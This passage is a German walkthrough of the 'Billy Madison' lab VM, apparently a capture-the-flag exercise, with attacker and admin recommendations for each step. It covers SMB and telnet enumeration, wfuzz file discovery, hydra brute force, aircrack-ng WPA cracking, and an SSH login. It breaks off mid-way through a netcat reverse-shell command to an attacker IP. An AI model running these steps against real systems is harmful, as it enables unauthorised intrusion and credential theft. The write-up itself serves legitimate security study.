Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jun 16 02:03:28 2023 .. D 0 Sat Aug 20 20:56:45 2016 ._.DS_Store AH 4096 Wed Aug 17 16:32:07 2016 ebd.txt N 35 Fri Jun 16 02:03:28 2023 .DS_Store AH 6148 Wed Aug 17 16:32:12 2016 30291996 blocks of size 1024. 25007972 blocks available smb: \> get ._.DS_Store getting file \._.DS_Store of size 4096 as ._.DS_Store (3999,6 KiloBytes/sec) (average 4000,0 KiloBytes/sec) smb: \> get ebd.txt getting file \ebd.txt of size 35 as ebd.txt (350000,0 KiloBytes/sec) (average 4034,2 KiloBytes/sec) smb: \> get .DS_Store getting file \.DS_Store of size 6148 as .DS_Store (6003,3 KiloBytes/sec) (average 5019,0 KiloBytes/sec) smb: \> put ben.php NT_STATUS_ACCESS_DENIED opening remote file \ben.php smb: \> exit
Analyse: Wir untersuchen den Inhalt der heruntergeladenen Datei `ebd.txt` mit dem `cat`-Befehl.
Bewertung: Die Datei enthält die Zeile "Erics backdoor is currently CLOSED". Dies ist ein wichtiger Hinweis. Es scheint eine Art "Hintertür" zu geben, die momentan geschlossen ist. Möglicherweise gibt es einen Mechanismus, um diese zu öffnen.
Empfehlung (Pentester): Nach Mechanismen suchen, die den Zustand dieser "Backdoor" ändern könnten. Gibt es Skripte, Cronjobs oder andere Dienste, die auf bestimmte Aktionen reagieren und die Datei `ebd.txt` oder den Zustand der Backdoor ändern? Die Datei `ebd.txt` regelmäßig erneut überprüfen, ob sich ihr Inhalt ändert.
Empfehlung (Admin): Jegliche Form von "Backdoors" ist extrem gefährlich und sollte entfernt werden. Wenn es sich um einen legitimen, aber schlecht benannten Mechanismus handelt, sollte dieser ordnungsgemäß dokumentiert und gesichert werden. Den Ursprung der Datei `ebd.txt` und den Mechanismus dahinter untersuchen und bereinigen.
Erics backdoor is currently CLOSED
Analyse: Wir untersuchen den Telnet-Dienst auf Port 23 genauer. Der Nmap-Scan zeigte hier eine merkwürdige Nachricht. Wir verbinden uns mit `telnet 192.168.2.139 23`.
Bewertung: Der Telnet-Dienst auf Port 23 liefert eine Nachricht, die uns direkt anspricht und einen Hinweis enthält: "* HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROtten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *". Das Wichtige hier ist das scheinbar verschlüsselte/kodierte Wort `rkfpuzrahngvat`. Es wird erwähnt, dass dies *nicht mehr* verwendet wird, aber es könnte ein Hinweis auf die Art der verwendeten Passwörter oder Verschlüsselung sein.
Empfehlung (Pentester): Das Wort `rkfpuzrahngvat` analysieren. Es sieht nach einer einfachen Substitutionschiffre aus, möglicherweise ROT13 oder Caesar. Online-Tools oder Skripte verwenden, um es zu entschlüsseln. Die Information, dass der Angreifer angeblich WiFi-Hacking-Versuche bemerkt hat, könnte auch ein Hinweis sein (vielleicht im Zusammenhang mit `.cap`-Dateien?).
Empfehlung (Admin): Den Telnet-Dienst deaktivieren, da er unsicher ist (Daten werden unverschlüsselt übertragen). Wenn ein Remote-Zugriff benötigt wird, SSH verwenden. Die Nachricht entfernen, da sie potenziell Hinweise für Angreifer enthält.
Analyse: Wir versuchen, das im Telnet gefundene Wort `rkfpuzrahngvat` zu entschlüsseln. Der Pentester hat hier offenbar ein Online-Tool (fbcs.bplaced.net/multi_encoder_decoder.html) verwendet und festgestellt, dass es sich um eine ROT13-Verschlüsselung handelt.
Bewertung: Die Entschlüsselung von `rkfpuzrahngvat` mittels ROT13 ergibt das Wort `exschmenuating`. Dies ist ein bedeutender Fortschritt, da dieses Wort wahrscheinlich als Verzeichnisname, Dateiname oder Passwort verwendet wird.
Empfehlung (Pentester): Das entschlüsselte Wort `exschmenuating` verwenden, um:
Analyse: Basierend auf dem entschlüsselten Wort besuchen wir die URL `http://billy.vuln/exschmenuating/` im Browser.
Bewertung: Volltreffer! Unter dieser URL finden wir eine Webseite mit dem Titel "Ruin Billy Madison's Life" - Eric's notes". Die Notizen enthalten entscheidende Hinweise:
Empfehlung (Pentester):
Analyse: Wir sehen uns die Datei an, auf die der "View log"-Link zeigt: `http://billy.vuln/exschmenuating/currently-banned-hosts.txt`.
Bewertung: Die Datei enthält eine Liste von IPs, die angeblich gebannt sind, möglicherweise durch eine Firewall wie `iptables`. Sie enthält auch einen Zeitstempel und den Hinweis, dass man den Host zurücksetzen muss, um den Bann aufzuheben. Für uns als Angreifer ist diese Information momentan weniger relevant, bestätigt aber, dass es eine Art dynamisches Blocking gibt, was fehlgeschlagene Angriffsversuche erklären könnte.
Empfehlung (Pentester): Die Information über das Banning zur Kenntnis nehmen. Falls spätere Angriffe (z.B. Brute-Force) plötzlich fehlschlagen, könnte ein Reset der VM oder ein Warten notwendig sein. Den Fokus auf die Suche nach der Capture-Datei legen.
Empfehlung (Admin): Dynamische Bann-Listen können Angriffe verlangsamen, aber entschlossene Angreifer oft nicht aufhalten (z.B. durch IP-Wechsel). Die Konfiguration des Bann-Mechanismus überprüfen und sicherstellen, dass er effektiv ist, aber keine legitimen Benutzer aussperrt. Die zugrundeliegenden Schwachstellen beheben, anstatt sich nur auf das Blocken zu verlassen.
Analyse: Basierend auf dem Hinweis, dass die Capture-Datei "veronica" im Namen enthält und wahrscheinlich eine `.cap`-Datei ist (da von "captured the whole thing" die Rede ist), erstellen wir eine gezielte Wortliste. Wir extrahieren alle Zeilen aus der `rockyou.txt`, die "veronica" enthalten, und speichern sie in einer neuen Datei `vero.txt`. Dies dient dazu, eine kleinere, relevantere Wortliste für das Fuzzing nach dem Dateinamen zu haben.
Bewertung: Dies ist eine clevere Optimierung. Anstatt eine riesige Wortliste zu verwenden, um den Dateinamen zu finden, nutzen wir den Hinweis aus Erics Notizen, um eine sehr spezifische, kleine Liste zu erstellen. Dies beschleunigt den nächsten Schritt erheblich.
Empfehlung (Pentester): Immer Hinweise aus der Enumeration nutzen, um Angriffe gezielter und effizienter zu gestalten. Die erstellte `vero.txt` im nächsten Schritt mit einem Fuzzing-Tool verwenden.
Empfehlung (Admin): Keine direkte Maßnahme, dies ist eine Technik des Angreifers.
# (Ausgabe ist die Erstellung der Datei vero.txt mit folgendem Beispielinhalt) 1234567890veronica 1230veronica 11veronica11 1112veronica 10veronica 1010veronica 081892_veronica 070895veronica 04164754629veronica 012987veronica 001veronica -veronica, *veronica* *veronica $veronica$ #0104veronica !veronica!mars ... (und weitere)
Analyse: Wir verwenden `wfuzz`, ein weiteres Fuzzing-Tool, um nach der Capture-Datei im Verzeichnis `/exschmenuating/` zu suchen.
-c
: Farbige Ausgabe.-w vero.txt
: Verwendet unsere erstellte, gezielte Wortliste.-u "http://billy.vuln/exschmenuating/FUZZ.cap"
: Die Ziel-URL. `FUZZ` wird durch jeden Eintrag aus der Wortliste ersetzt. Wir nehmen an, dass die Datei die Endung `.cap` hat.--hc 400,401,402,403,404
: Versteckt Antworten mit diesen Fehlercodes (Bad Request, Unauthorized, Payment Required, Forbidden, Not Found).--hh 0
: Versteckt Antworten mit 0 Zeichen (oft ein Hinweis auf nicht existente Dateien, die keinen 404 senden).Bewertung: Erfolg! `wfuzz` findet zwei Dateien, die einen `200 OK`-Status zurückgeben:
Empfehlung (Pentester): Beide gefundenen `.cap`-Dateien herunterladen (z.B. mit `wget` oder direkt im Browser) und mit Netzwerkanalyse-Tools wie Wireshark oder `tshark` untersuchen, um die darin enthaltenen Daten, insbesondere Zugangsdaten, zu extrahieren.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Dateien wie Netzwerk-Captures über den Webserver zugänglich sind. Verzeichnisse und Dateien nur mit den minimal notwendigen Berechtigungen versehen.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://billy.vuln/exschmenuating/FUZZ.cap Total requests: 773 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000766: 200 192 L 800 W 8528 Ch "012987veronica" 000000772: 200 24 L 162 W 1080 Ch "#0104veronica" Total time: 1.2345s Processed Requests: 773 Filtered Requests: 771 Requests/sec.: 626.00
Analyse: Wir analysieren die heruntergeladene Capture-Datei `/home/cyber/Downloads/012987veronica.cap` mit `tshark`, der Kommandozeilenversion von Wireshark. Das Skript extrahiert zunächst alle eindeutigen TCP-Stream-Indizes aus der Datei und speichert sie. Dann durchläuft es diese Indizes in einer Schleife und extrahiert jeden einzelnen TCP-Stream in eine separate `.cap`-Datei (`stream-0.cap`, `stream-1.cap`, usw.). Dies erleichtert die separate Analyse der einzelnen Kommunikationsflüsse.
Bewertung: Dieser Ansatz ist methodisch sinnvoll, um eine große Capture-Datei in überschaubare Teile zu zerlegen. Die Ausführung zeigt, dass die Datei mehrere TCP-Streams enthält (mindestens 0 bis 5). Die eigentliche Extraktion der Zugangsdaten erfolgt wahrscheinlich durch manuelle Inspektion dieser einzelnen Stream-Dateien (z.B. mit Wireshark oder `tshark -r stream-X.cap -Y "tcp.payload" -x`). Im Berichtstext wird das Ergebnis dieser Analyse direkt darunter angegeben.
Empfehlung (Pentester): Die generierten `stream-X.cap`-Dateien systematisch untersuchen. In Wireshark nach Protokollen wie HTTP, FTP, Telnet etc. filtern und die Daten "Follow TCP Stream" analysieren, um übertragene Zugangsdaten oder andere sensible Informationen zu finden.
Empfehlung (Admin): Sicherstellen, dass sensible Daten wie Passwörter immer verschlüsselt übertragen werden (z.B. HTTPS statt HTTP, SFTP/SCP statt FTP, SSH statt Telnet).
Running as user "root" and group "root". This could be dangerous. 0 Capturing on 'any' File: stream-0.cap Running as user "root" and group "root". This could be dangerous. 1 Capturing on 'any' File: stream-1.cap Running as user "root" and group "root". This could be dangerous. 2 Capturing on 'any' File: stream-2.cap Running as user "root" and group "root". This could be dangerous. 3 Capturing on 'any' File: stream-3.cap Running as user "root" and group "root". This could be dangerous. 4 Capturing on 'any' File: stream-4.cap Running as user "root" and group "root". This could be dangerous. 5 Capturing on 'any' File: stream-5.cap ... (ggf. weitere Streams)
Analyse: Dieser Textblock scheint das Ergebnis der Analyse der `.cap`-Datei (vermutlich eines der extrahierten TCP-Streams) zu sein.
Bewertung: Kritischer Fund! In der Kommunikation wurde eine Nachricht abgefangen, in der ein Benutzerkonto angefordert wird: `username of "eric" and password "ericdoesntdrinkhisownpee"`. Wir haben jetzt potenzielle Zugangsdaten für den Benutzer `eric`.
Empfehlung (Pentester): Die gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) sofort bei allen verfügbaren Login-Diensten ausprobieren, insbesondere SSH (Ports 22 und 1974) und FTP (Port 21).
Empfehlung (Admin): Passwörter niemals unverschlüsselt über das Netzwerk senden oder in Klartextnachrichten austauschen. Sichere Kanäle für die Übermittlung von Zugangsdaten verwenden.
Analyse: Wir testen die gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) beim FTP-Dienst auf Port 21.
Bewertung: Der Login ist erfolgreich! Wir erhalten eine FTP-Shell als Benutzer `eric`. Dies ist ein erster erfolgreicher Zugriff auf das System mit Benutzerrechten, wenn auch nur über FTP.
Empfehlung (Pentester): Die FTP-Sitzung nutzen, um das Dateisystem zu untersuchen, nach weiteren Hinweisen, Konfigurationsdateien oder der User-Flag zu suchen. Prüfen, ob Dateien hoch- oder heruntergeladen werden können, um ggf. eine Webshell oder ein Exploit-Skript zu platzieren (abhängig von den Berechtigungen). Die gleichen Zugangsdaten bei SSH testen.
Empfehlung (Admin): Überprüfen, warum der Benutzer `eric` FTP-Zugriff hat und ob dieser notwendig ist. Wenn möglich, FTP deaktivieren und sicherere Alternativen wie SFTP (über SSH) verwenden. Sicherstellen, dass FTP-Benutzer auf ihre Home-Verzeichnisse beschränkt sind (chroot jail) und keine systemweiten Leserechte haben, falls nicht erforderlich.
ericdoesntdrinkhisownpee 230 User logged in, proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp> ]]>
Analyse: Wir interagieren mit dem SMTP-Dienst auf Port 2525 über `telnet`. Wir senden SMTP-Befehle, um eine E-Mail von `vvaugh@polyfector.edu` an `eric@madisonhotels.com` mit dem Betreff "email" und dem Inhalt "My kid will be a soccer player" zu senden. Die Adressen und der Inhalt scheinen zufällig gewählt oder beziehen sich auf den Film "Billy Madison".
Bewertung: Wir können erfolgreich eine E-Mail über den Server senden. Dies an sich ist noch kein direkter Exploit, aber es zeigt, dass der SMTP-Server funktioniert und möglicherweise für weitere Aktionen genutzt werden könnte (z.B. wenn eine Anwendung E-Mails liest und verarbeitet). Viel wichtiger ist jedoch, dass diese Aktion offenbar einen Trigger ausgelöst hat!
Empfehlung (Pentester): Nach dieser Aktion erneut den Zustand der "Backdoor" überprüfen (also die Datei `ebd.txt` auf der SMB-Freigabe). Es ist wahrscheinlich, dass diese E-Mail der Mechanismus war, um die Backdoor zu öffnen.
Empfehlung (Admin): Den SMTP-Dienst auf Port 2525 absichern. Authentifizierung erfordern, offenes Relay verhindern. Überprüfen, ob Skripte oder Mechanismen existieren, die auf eingehende E-Mails reagieren und potenziell unsichere Aktionen ausführen. Solche Mechanismen entfernen oder absichern.
. SUBJECT: email My kid will be a soccer player . 250 ok quit 221 Bye Connection closed by foreign host. ]]>
Analyse: Nachdem wir die E-Mail über Port 2525 gesendet haben, verbinden wir uns erneut anonym mit der SMB-Freigabe `EricsSecretStuff` und laden die Datei `ebd.txt` herunter.
Bewertung: Unsere Vermutung war korrekt! Der Inhalt der Datei `ebd.txt` hat sich geändert. Sie enthält nun einen Zeitstempel und "Erics backdoor is currently OPEN". Das Senden der E-Mail war der Trigger, um die Backdoor zu öffnen.
Empfehlung (Pentester): Da die Backdoor nun offen ist, erneut einen Portscan durchführen oder die bekannten Dienste (insbesondere SSH auf Port 1974) erneut prüfen. Es ist wahrscheinlich, dass nun ein neuer Dienst aktiv ist oder sich das Verhalten eines bestehenden Dienstes geändert hat.
Empfehlung (Admin): Den Mechanismus, der die Datei `ebd.txt` aufgrund einer E-Mail ändert, und die damit verbundene "Backdoor" sofort entfernen. Dies stellt ein erhebliches Sicherheitsrisiko dar.
Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Jun 16 00:58:03 2023 .. D 0 Sat Aug 20 20:56:45 2016 150623055803167.eml N 93 Fri Jun 16 00:58:03 2023 ._.DS_Store AH 4096 Wed Aug 17 16:32:07 2016 ebd.txt N 35 Fri Jun 16 02:30:43 2023 .DS_Store AH 6148 Wed Aug 17 16:32:12 2016 30291996 blocks of size 1024. 24993956 blocks available smb: \> get ebd.txt getting file \ebd.txt of size 35 as ebd.txt (N/A KiloBytes/sec) smb: \> exit
2023-06-15-18-00-01 Erics backdoor is currently OPEN
Analyse: Da die Backdoor nun "OPEN" ist, führen wir erneut einen Nmap-Scan durch, um zu sehen, ob sich die offenen Ports geändert haben. Wir filtern die Ausgabe wieder mit `grep open`.
Bewertung: Der Scan bestätigt die zuvor offenen Ports, aber es gibt eine wichtige Änderung: Port 1974 wird nun eindeutig als `ssh` (OpenSSH 7.2p2) identifiziert. Zuvor war dieser Port im ersten Scan zwar offen, wurde aber nicht eindeutig als SSH erkannt oder war möglicherweise durch eine Firewall blockiert. Das Öffnen der "Backdoor" hat wahrscheinlich den SSH-Dienst auf Port 1974 aktiviert oder freigeschaltet.
Empfehlung (Pentester): Den SSH-Dienst auf Port 1974 als primäres Ziel für den initialen Zugriff verwenden. Die zuvor gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) hier testen. Auch die Zugangsdaten für `veronica` könnten hier funktionieren.
Empfehlung (Admin): Die "Backdoor"-Funktionalität entfernen. Wenn SSH benötigt wird, sollte es standardmäßig laufen und ordnungsgemäß konfiguriert sein, nicht durch obskure Mechanismen aktiviert werden. Den Port 1974 dokumentieren oder auf den Standardport 22 ändern, wenn keine spezifischen Gründe für die Verwendung von 1974 vorliegen.
21/tcp open ftp vsftpd 3.0.3 | 220 Welcome to ColoradoFTP - the open source FTP server (www.coldcore.com) 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 23/tcp open telnet? 69/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) 1974/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 2525/tcp open smtp SubEtha smtpd
Analyse: Wir versuchen, das Passwort für den FTP-Benutzer `veronica` zu finden. Wir verwenden `hydra`, ein schnelles Brute-Force-Tool.
-l veronica
: Der Benutzername, den wir angreifen.-P vero.txt
: Die Passwortliste, die wir zuvor aus `rockyou.txt` mit `grep` erstellt haben (enthält Passwörter mit "veronica").ftp://billy.vuln:21
: Das Zielprotokoll, der Hostname und der Port.-t 64
: Anzahl der parallelen Threads (sehr hoch, kann den Server belasten oder zu Fehlern führen).Bewertung: Erfolg! Hydra findet schnell das Passwort für den Benutzer `veronica` auf dem FTP-Dienst: `babygirl_veronica07@yahoo.com`. Wir haben nun einen zweiten Satz gültiger Zugangsdaten.
Empfehlung (Pentester): Die Zugangsdaten `veronica` / `babygirl_veronica07@yahoo.com` notieren. Testen, ob diese auch für andere Dienste (insbesondere SSH auf Port 22 oder 1974) funktionieren. Den FTP-Zugang als `veronica` untersuchen.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzer erzwingen. Die Verwendung von E-Mail-Adressen oder Variationen davon als Passwörter ist keine gute Praxis. Rate-Limiting für FTP-Logins implementieren, um Brute-Force-Angriffe zu verlangsamen.
babygirl_veronica07@yahoo.com 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not finish yet. Post-processing will be incomplete. Automatic session resume is possible, but may not work for large password lists. Datafiles may not be complete. Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-16 01:06:40 ]]>
Analyse: Wir verifizieren die gerade mit Hydra gefundenen Zugangsdaten, indem wir uns manuell per FTP als `veronica` anmelden.
Bewertung: Der Login funktioniert einwandfrei. Wir haben nun bestätigten FTP-Zugriff als Benutzer `veronica`.
Empfehlung (Pentester): Das Home-Verzeichnis von `veronica` untersuchen. Vergleich der Berechtigungen und sichtbaren Dateien mit dem Benutzer `eric`. Prüfen, ob die User-Flag hier zugänglich ist.
Empfehlung (Admin): Siehe Empfehlungen beim vorherigen Hydra-Schritt bezüglich Passwortsicherheit und FTP-Konfiguration.
babygirl_veronica07@yahoo.com 230 User logged in, proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp> ]]>
Analyse: Wir verwenden `aircrack-ng`, ein Tool zum Knacken von WLAN-Passwörtern, um eine weitere `.cap`-Datei zu analysieren, die wir zuvor gefunden hatten (`/home/cyber/Downloads/012987veronica.cap`).
-w /usr/share/wordlists/rockyou.txt
: Die Passwortliste für den Wörterbuchangriff./home/cyber/Downloads/012987veronica.cap
: Die Eingabedatei (Netzwerk-Capture).-e EricGordon
: Der ESSID (Name des WLAN-Netzwerks), gegen den der Handshake geprüft werden soll. Diese Information muss entweder bekannt sein oder aus der `.cap`-Datei selbst extrahiert werden (Aircrack versucht dies oft automatisch, wenn `-e` weggelassen wird).Bewertung: Kritischer Erfolg! Aircrack-ng knackt erfolgreich das WPA-Passwort aus dem Handshake in der Capture-Datei. Das Passwort lautet `triscuit*`. Dies ist höchstwahrscheinlich das Passwort für den Benutzer `eric`, da die ESSID "EricGordon" lautet und die Datei im Kontext von Eric und Veronica gefunden wurde. Es passt auch zur Telnet-Nachricht, die erwähnte, dass der Angreifer "versucht hat, mein WLAN zu hacken".
Empfehlung (Pentester): Das gefundene Passwort `triscuit*` sofort für den Benutzer `eric` beim SSH-Dienst auf Port 1974 (und ggf. Port 22) ausprobieren. Dies ist der vielversprechendste Weg zum initialen Shell-Zugriff.
Empfehlung (Admin): WPA/WPA2-Passwörter sollten lang und komplex sein, um Wörterbuchangriffen zu widerstehen. Die Verwendung von WPA3 erhöht die Sicherheit weiter. Sensible Capture-Dateien dürfen nicht ungeschützt abgelegt werden.
triscuit* ] Master Key : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Transient Key : YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY EAPOL Key : ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ]]>
Analyse: Wir versuchen nun, uns per SSH auf Port 1974 als Benutzer `eric` mit dem gerade per Aircrack gefundenen Passwort `triscuit*` anzumelden.
Bewertung: Fantastisch, der SSH-Login war erfolgreich! Wir haben nun eine interaktive Shell auf dem Zielsystem als Benutzer `eric`. Dies markiert den erfolgreichen initialen Zugriff (Initial Access).
Empfehlung (Pentester): Die Shell nutzen, um das System weiter zu erkunden. Sofort nach Möglichkeiten zur Rechteausweitung (Privilege Escalation) suchen. Übliche erste Schritte: `whoami`, `id`, `sudo -l`, `find / -type f -perm -4000 2>/dev/null`, `cat /etc/crontab`, installierte Software prüfen, Home-Verzeichnisse durchsuchen, nach der User-Flag suchen.
Empfehlung (Admin): SSH-Zugänge absichern: Starke Passwörter erzwingen, Key-basierte Authentifizierung bevorzugen, Root-Login verbieten, ggf. Fail2Ban oder ähnliche Tools gegen Brute-Force einsetzen. Die Notwendigkeit des Benutzerkontos `eric` prüfen.
triscuit* Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 37 packages can be updated. 0 updates are security updates. Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101 eric@BM:~$ ]]>
Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie die Kombination aus Informationslecks (Webnotizen, Telnet-Nachricht), der Analyse einer abgefangenen Netzwerkdatei (`.cap`) und dem Knacken von Passwörtern (ROT13, Aircrack-ng) genutzt werden kann, um gültige SSH-Zugangsdaten für den Benutzer `eric` zu erlangen und somit eine interaktive Shell auf dem Zielsystem zu erhalten.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
Beweismittel (Erfolgreicher SSH-Login):
triscuit* Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64) ... Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101 eric@BM:~$ id uid=1002(eric) gid=1002(eric) groups=1002(eric) eric@BM:~$ pwd /home/eric ]]>
Risikobewertung: Hoch. Der erfolgreiche initiale Zugriff ermöglicht es einem Angreifer, auf dem System Fuß zu fassen. Von hier aus können weitere Angriffe gestartet werden, um höhere Rechte zu erlangen (Privilege Escalation), Daten zu exfiltrieren, Malware zu installieren oder das System als Sprungbrett für Angriffe auf andere Systeme im Netzwerk zu nutzen. Die Kombination aus Informationslecks und schwachen Passwörtern stellt ein erhebliches Risiko dar.
Empfehlungen (Admin):
Analyse: Nach dem erfolgreichen Login als `eric` prüfen wir als Erstes, ob dieser Benutzer `sudo`-Rechte hat. Der Befehl `sudo -l` listet die erlaubten `sudo`-Befehle für den aktuellen Benutzer auf. Wir werden nach dem Passwort für `eric` gefragt (`triscuit*`).
Bewertung: Die Ausgabe `Sorry, user eric may not run sudo on BM.` ist eindeutig: Der Benutzer `eric` hat keine `sudo`-Rechte. Dieser einfache Weg zur Rechteausweitung ist uns also versperrt.
Empfehlung (Pentester): Andere Methoden zur Rechteausweitung suchen: SUID/SGID-Binaries, Kernel-Exploits, fehlerhafte Berechtigungen, Cronjobs, ausnutzbare Dienste, die lokal laufen.
Empfehlung (Admin): Das Prinzip der geringsten Rechte anwenden. Benutzern nur die `sudo`-Rechte geben, die sie unbedingt benötigen. Die Konfiguration hier ist korrekt, da `eric` keine Rechte hat.
triscuit* Sorry, user eric may not run sudo on BM. ]]>
Analyse: Wir suchen nach Dateien mit gesetztem SUID- oder SGID-Bit. Diese Dateien werden mit den Rechten des Besitzers (SUID) oder der Gruppe (SGID) ausgeführt, nicht mit den Rechten des aufrufenden Benutzers. Wenn eine solche Datei (insbesondere eine, die `root` gehört und SUID hat) eine Schwachstelle aufweist, kann diese oft zur Erlangung von Root-Rechten ausgenutzt werden.
find /
: Suche im gesamten Dateisystem ab dem Root-Verzeichnis.-type f
: Suche nur nach Dateien.-perm -4000
: Suche nach Dateien, bei denen das SUID-Bit gesetzt ist (Oktal 4000). Man könnte auch `-perm -u=s` verwenden oder mit `-o -perm -g=s` nach SGID suchen.-ls
: Zeige detaillierte Informationen zu den gefundenen Dateien im `ls -l`-Format an.2>/dev/null
: Leitet Fehlermeldungen (wie "Permission denied" beim Durchsuchen von Verzeichnissen, auf die `eric` keinen Zugriff hat) ins Nichts um, um die Ausgabe sauber zu halten.Bewertung: Die Liste zeigt viele Standard-SUID-Binaries (`sudo`, `pkexec`, `passwd`, `chsh`, `gpasswd`, `newgrp`, `at`, `chfn`, `mount`, `su`, `umount` etc.). Diese sind normalerweise sicher, es sei denn, es gibt eine bekannte Schwachstelle in der spezifischen Version. Ein Eintrag sticht jedoch heraus: `/usr/local/share/sgml/donpcgd`. Diese Datei gehört `root`, hat aber das SGID-Bit (`-r-sr-s`) für die Gruppe `eric` gesetzt. Sie befindet sich an einem ungewöhnlichen Ort (`/usr/local/share/sgml`) und hat einen merkwürdigen Namen. Dies ist ein starker Kandidat für eine benutzerdefinierte, potenziell anfällige SUID/SGID-Datei.
Empfehlung (Pentester): Die ungewöhnliche Datei `/usr/local/share/sgml/donpcgd` genauer untersuchen:
/dev/null 1454477 368 -r-sr-sr-x 1 root eric 372922 Aug 20 2016 /usr/local/share/sgml/donpcgd 1048829 136 -rwsr-xr-x 1 root root 136808 May 4 2016 /usr/bin/sudo 1058216 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec 1048745 56 -rwsr-xr-x 1 root root 54256 Mar 29 2016 /usr/bin/passwd 1057557 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newgidmap 1048609 40 -rwsr-xr-x 1 root root 40432 Mar 29 2016 /usr/bin/chsh 1048670 76 -rwsr-xr-x 1 root root 75304 Mar 29 2016 /usr/bin/gpasswd 1057558 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newuidmap 1048734 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp 1058032 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at 1048607 52 -rwsr-xr-x 1 root root 49584 Mar 29 2016 /usr/bin/chfn 1058246 24 -rwsr-xr-x 1 root root 23288 Apr 29 2016 /usr/bin/ubuntu-core-launcher 1048930 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 1057498 40 -rwsr-xr-x 1 root root 38984 Jun 30 2016 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic 1318420 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1 1066069 420 -rwsr-xr-x 1 root root 428240 Aug 11 2016 /usr/lib/openssh/ssh-keysign 1056767 44 -rwsr-xr-- 1 root messagebus 42992 Apr 1 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1179709 40 -rwsr-xr-x 1 root root 40152 May 26 2016 /bin/mount 1179740 40 -rwsr-xr-x 1 root root 40128 Mar 29 2016 /bin/su 1179758 28 -rwsr-xr-x 1 root root 27608 May 26 2016 /bin/umount 1190647 32 -rwsr-xr-x 1 root root 30800 Mar 11 2016 /bin/fusermount 1179724 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 1179723 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 1190681 140 -rwsr-xr-x 1 root root 142032 Feb 17 2016 /bin/ntfs-3g eric@BM:~$ ]]>
Analyse: Wir wechseln in das Verzeichnis `/opt/coloradoftp-prime/home/anonymous`. Dies scheint das Home-Verzeichnis für anonyme FTP-Benutzer des installierten "ColoradoFTP"-Servers zu sein. Wir listen den Inhalt mit `ls -la` auf.
Bewertung: Wir finden eine Datei namens `Billys-12th-grade-final-project.doc`. Der Name ist verlockend, aber wir sollten misstrauisch sein. Wir lesen den Inhalt mit `cat`.
Empfehlung (Pentester): Den Inhalt der Datei lesen. Nicht zu viel Zeit auf scheinbare "Red Herrings" (falsche Fährten) verschwenden, wenn andere Wege vielversprechender sind.
Empfehlung (Admin): Überprüfen, welche Dateien im anonymen FTP-Verzeichnis liegen und ob diese notwendig sind. Unnötige oder irreführende Dateien entfernen.
Analyse: Die Datei `Billys-12th-grade-final-project.doc` enthält nur eine spöttische Nachricht. Es handelt sich um eine falsche Fährte.
Bewertung: Diese Datei liefert keine nützlichen Informationen für die Privilege Escalation.
Empfehlung (Pentester): Sich wieder auf vielversprechendere Ansätze konzentrieren, wie die Analyse der SUID/SGID-Datei `/usr/local/share/sgml/donpcgd` oder die Suche nach Kernel-Exploits oder anderen Schwachstellen.
Empfehlung (Admin): Irreführende Dateien entfernen.
Analyse: Der Pentester entscheidet sich hier offenbar, eine Reverse Shell von der `eric`-Shell auf dem Zielsystem zu seinem Angreifer-PC (192.168.2.137) auf Port 4444 aufzubauen. Dies geschieht mit einem klassischen Netcat-Befehl:
rm /tmp/f; mkfifo /tmp/f
: Löscht (falls vorhanden) und erstellt eine Named Pipe (FIFO) namens `/tmp/f`. Eine Pipe ermöglicht die Kommunikation zwischen Prozessen.cat /tmp/f | /bin/sh -i 2>&1
